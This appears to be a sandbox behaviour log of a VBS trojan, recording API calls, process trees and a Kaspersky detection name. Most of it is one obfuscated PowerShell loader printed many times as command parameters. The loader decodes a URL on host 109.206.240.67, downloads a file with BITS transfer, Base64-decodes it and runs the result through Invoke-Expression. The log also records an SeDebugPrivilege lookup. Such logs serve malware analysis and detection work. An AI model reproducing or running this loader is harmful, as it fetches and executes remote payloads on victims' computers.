parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0
Kaspersky HEUR:Trojan.VBS.SAgent.gen
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 109.206.240.67
Time & API Arguments Status Return Repeated

EnumServicesStatusA

service_handle: 0x062d9358
service_type: 48
service_status: 3
1 1 0
parent_process wscript.exe martian_process powerssell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powerstell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
